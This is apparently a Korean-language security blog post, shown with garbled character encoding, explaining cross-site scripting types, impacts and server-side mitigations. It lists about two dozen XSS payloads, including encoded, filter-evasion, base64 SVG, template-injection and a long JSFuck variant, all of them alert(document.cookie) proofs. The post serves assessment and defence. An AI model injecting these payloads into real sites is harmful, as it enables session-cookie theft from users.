๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
์ทจ์•ฝ์  ๋ถ„์„ ๊ธฐ์ค€/WEB

ํฌ๋กœ์Šค์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…(XSS; Cross-Site Scripting)

by Yun2๐Ÿ‘ 2024. 4. 7.
๋ฐ˜์‘ํ˜•

์ทจ์•ฝ์  ์†Œ๊ฐœ


์›น ์‚ฌ์ดํŠธ ๋‚ด์˜ ํŒŒ๋ผ๋ฏธํ„ฐ์— ์Šคํฌ๋ฆฝํŠธ ๋ฌธ์„ ์ž…๋ ฅํ–ˆ์„ ๋•Œ, ์ตœ์ข… ์‚ฌ์šฉ์ž์˜ ํด๋ผ์ด์–ธํŠธ์—์„œ ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ์ทจ์•ฝ์ 

(๊ฒŒ์‹œํŒ ์‚ฌ์ดํŠธ, 1:1 ๋ฌธ์˜, URL, ...)

 

์ ๊ฒ€ ๋ชฉ์ 


(์•…์˜์ ์ธ)์Šคํฌ๋ฆฝํŠธ์˜ ์‹คํ–‰์„ ์ฐจ๋‹จํ•˜๊ธฐ ์œ„ํ•จ

 

์œ„ํ˜‘ ์‹œ๋‚˜๋ฆฌ์˜ค


- ๊ฒŒ์‹œ๊ธ€์ด๋‚˜ ์ด๋ฉ”์ผ์„ ์ฝ๋Š” ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค(์„ธ์…˜)๋ฅผ ํƒˆ์ทจํ•˜์—ฌ ์˜ค์šฉํ•˜๊ฑฐ๋‚˜ ์•…์˜์  ์‚ฌ์ดํŠธ(๊ฐœ์ธ์ •๋ณด ํƒˆ์ทจ ๊ฐ€๋Šฅ ์‚ฌ์ดํŠธ, ...)๋กœ

Redirect ํ•  ์ˆ˜ ์žˆ์Œ

 

XSS ์ข…๋ฅ˜ (Stroed XSS, Reflected XSS, Dom-Based XSS) 


โ€ป์œ„ํ—˜๋„ ๊ธฐ์ค€์€ ๊ฐœ์ธ์ ์ด๋ฉฐ ์—ฌ๊ธฐ์„  ํฌ์‚ฌ ์ทจ์•ฝ์  ์ค‘์—์„œ ๋ถ„๋ฅ˜ํ•จ (Critical, Major, Minor)

> Stored XSS ( Critical ) - ํ•ด๋‹น ํŽ˜์ด์ง€ ์ ‘๊ทผ ์‹œ, ์Šคํฌ๋ฆฝํŠธ ๋ฐœ์ƒ

: DB์— ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•˜๊ธฐ๋งŒ ํ•ด๋„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ ์„ฑ๊ณต ์‹œ ๋ฌด์ˆ˜ํžˆ ๋งŽ์€ ํ”ผํ•ด์ž๊ฐ€ ๋ฐœ์ƒํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Œ

์ž์œ  ๊ฒŒ์‹œํŒ ๊ธ€ ์ž‘์„ฑ, 1:1 ๋ฌธ์˜ ๊ฒŒ์‹œํŒ, ํšŒ์› ์ •๋ณด ๊ฐ€์ž… ํŽ˜์ด์ง€, ...

 

> Reflectd XSS ( Major ) - ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ž…๋ ฅ๋ฐ›์€(์กฐ์ž‘๋œ URL) ๋ฐ์ดํ„ฐ๊ฐ€ ์ฆ‰์‹œ ์›น ํŽ˜์ด์ง€์— ๋ฐ˜์˜๋  ๋•Œ ์Šคํฌ๋ฆฝํŠธ ๋ฐœ์ƒ

: URL์— ๋‹ด๊ธด ํŒŒ๋ผ๋ฏธํ„ฐ ์ •๋ณด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ณต๊ฒฉ์ด ์ˆ˜ํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์—, Attacker๊ฐ€ ์‚ฌํšŒ๊ณตํ•™์  ๊ธฐ๋ฒ•(์•…์˜์ ์ธ URL ๋‹ด๊ธด ํ”ผ์‹ฑ ๋ฉ”์ผ)์„ ์ด์šฉํ•ด ์•…์˜์  URL์„ Victim์—๊ฒŒ ์ „๋‹ฌ. ํ•ด๋‹น URL์„ Victim์ด ์‹คํ–‰์‹œ์ผœ์•ผ๋งŒ ๊ณต๊ฒฉ ์ˆ˜ํ–‰์ด ๊ฐ€๋Šฅ

๊ฒ€์ƒ‰ ์ฐฝ ํŒŒ๋ผ๋ฏธํ„ฐ, ๋ชฉ๋ก ์กฐํšŒ, ์ƒ์„ธ ํŽ˜์ด์ง€, ...

 

> DOM XSS ( Major ) - ํด๋ผ์ด์–ธํŠธ์—์„œ ํ•ด๋‹น ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•  ๋•Œ ์Šคํฌ๋ฆฝํŠธ ๋ฐœ์ƒ

: ์„œ๋ฒ„์—์„œ ํŒŒ๋ผ๋ฏธํ„ฐ ํ•ด์„ํ•˜๊ณ  ๋™์  ํŽ˜์ด์ง€๋ฅผ ์ƒ์„ฑํ•ด์„œ ์‘๋‹ต์„ ์ฃผ๋Š” ๊ฒƒ์ด ์•„๋‹Œ, ํด๋ผ์ด์–ธํŠธ์—์„œ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•  ๋•Œ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Œ

: ์„œ๋ฒ„๋กœ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „๋‹ฌํ•˜์ง€ ์•Š์•„ ์„œ๋ฒ„์—์„œ๋Š” ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•œ ๊ฒƒ์ธ์ง€ ์•„๋‹Œ์ง€ ํŒŒ์•…ํ•˜๊ธฐ ์‰ฝ์ง€ ์•Š์€ ํŠน์„ฑ์ด ์žˆ์Œ

ex) http://example.com/page.html#default=<script>...</script>

 

ํ”ผํ•ด ๊ฐ€๋Šฅ์„ฑ


- ์ฟ ํ‚ค(์„ธ์…˜) ํƒˆ์ทจ

- ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ์‚ฌ์ดํŠธ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰์…˜(ํ”ผ์‹ฑ๊ณต๊ฒฉ, ํ‚ค๋กœ๊น…, ...)

- CSRF ์ทจ์•ฝ์  ์—ฐ๊ณ„์— ํ™œ์šฉ

- ์›น ์‚ฌ์ดํŠธ ์™ธ๊ด€ ๋ณ€์กฐ ๊ฐ€๋Šฅ์„ฑ(๊ฐ€์งœ ์ •๋ณด, ...)

...

 

๊ณต๊ฒฉ๊ตฌ๋ฌธ


<script>alert(document.cookie)</script>

%3Cscript%3Ealert(document.cookie)%3C/script%3E

%253Cscript%253Ealert(document.cookie)%253C/script%253E

<script>alert`document.cookie`</script>

<script>eval('\x61lert(document.cookie)')</script>

javascript:eval('alert(document.cookie)

<svg+onload=alert(document.cookie)>

<svg/onload=alert(document.cookie)>

<img+src=javascript:alert(document.cookie)>

<img src=x onerror=alert(document.cookie)>

<div style="width:expression(alert(document.cookie))">

<iframe src="data:text/html,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e"></iframe>

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

<script>eval('alert(d'+'ocument.'+'co'+'okie)')</script>

<script>with(document){alert(domain)}</script>

”/>&lt;script>alert(document.cookie)&lt;/script&gt”/>

\";alert(document.cookie);//
'); alert(document.cookie);
</script><script>alert(document.cookie)</script>
{alert(document.cookie)}

<div style="background-image: url(javascript:alert(document.cookie))">
<div style="width: expression(alert(document.cookie))">

/* json ํŒŒ์ผ ์—…๋กœ๋“œ ๊ธฐ๋Šฅ ๋ฐ ๊ธฐํƒ€ */
#"><img src=/onerror=alert(document.cookie)>"
/* ex)
“data” :{
       “name”: “#”><img scr=/onerror=alert(3)>" 
      “type”: “AUTO_EVENT_VAR” 
      “autoEventVarMacro”: {
                "varType”: “HISTORY_NEW_URL_FRAGMENT”
        }
}
*/

<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(document.cookie);</s%00c%00r%00i%00p%00t>

{{constructor.constructor("alert(document.cookie)")()}}

 

 

 

<script>alert(document.cookie)</script> ← JSFuck

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[+[]]+([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+([][[]]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]+([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[+[]]+([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]])()

...

[24-05-12] - ์ถ”๊ฐ€ ์ž‘์„ฑ ์˜ˆ์ • 

 

๋Œ€์‘๋ฐฉ์•ˆ


- ์›น ์‚ฌ์ดํŠธ ๋‚ด์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฐ’์ด ์ €์žฅ๋˜๋Š” ํŽ˜์ด์ง€์™€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฐ’์— ๋Œ€ํ•ด Server Side ๋‹จ์—์„œ ํƒœ๊ทธ๋‚˜ ํ•ด๋‹น ๋ฌธ์ž์—ด ํ•„ํ„ฐ๋ง ์ฒ˜๋ฆฌ ํ•„์š”

-  ์ž…๋ ฅ ๊ฐ’ ํ•„ํ„ฐ๋ง ๋กœ์ง ๊ตฌํ˜„ ์‹œ ๊ณต๋ฐฑ  ๋ฌธ์ž ์ œ๊ฑฐ trim, replace ํ•จ์ˆ˜ ์‚ฌ์šฉํ•˜์—ฌ Server Side ๋‹จ์—์„œ ๊ตฌํ˜„
(ํด๋ผ์ด์–ธํŠธ ๋‹จ์—์„œ ๊ตฌํ˜„ ์‹œ ์šฐํšŒ ๊ฐ€๋Šฅ์„ฑ์ด ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ)

-  URL ์ธ์ฝ”๋”ฉ ๊ฐ’ ๋””์ฝ”๋”ฉํ•˜์—ฌ ์šฐํšŒ ๊ณต๊ฒฉ ์ฐจ๋‹จ

-  ์ฟ ํ‚ค ์†์„ฑ(ํ—ค๋”) ํ™œ์šฉ(HttpOnly, Secury, ...)

- ํ•„์š”ํ•œ ๊ฒฝ์šฐ๊ฐ€ ์•„๋‹ˆ๋ผ๋ฉด HTML Editor ๊ธฐ๋Šฅ ์ œ๊ฑฐ

... 

 

Refer to...


โ–ถ ์ฃผ์š”์ •๋ณดํ†ต์‹ ๊ธฐ๋ฐ˜์‹œ์„ค_๊ธฐ์ˆ ์ _์ทจ์•ฝ์ _๋ถ„์„ใ†ํ‰๊ฐ€_๋ฐฉ๋ฒ•_์ƒ์„ธ๊ฐ€์ด๋“œ(2021.03.)

โ–ถ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

โ–ถ https://jsfuck.com/

โ–ถ ๊ธฐํƒ€ ๋ธ”๋กœ๊ทธ

โ–ถ ...

...

๋ฐ˜์‘ํ˜•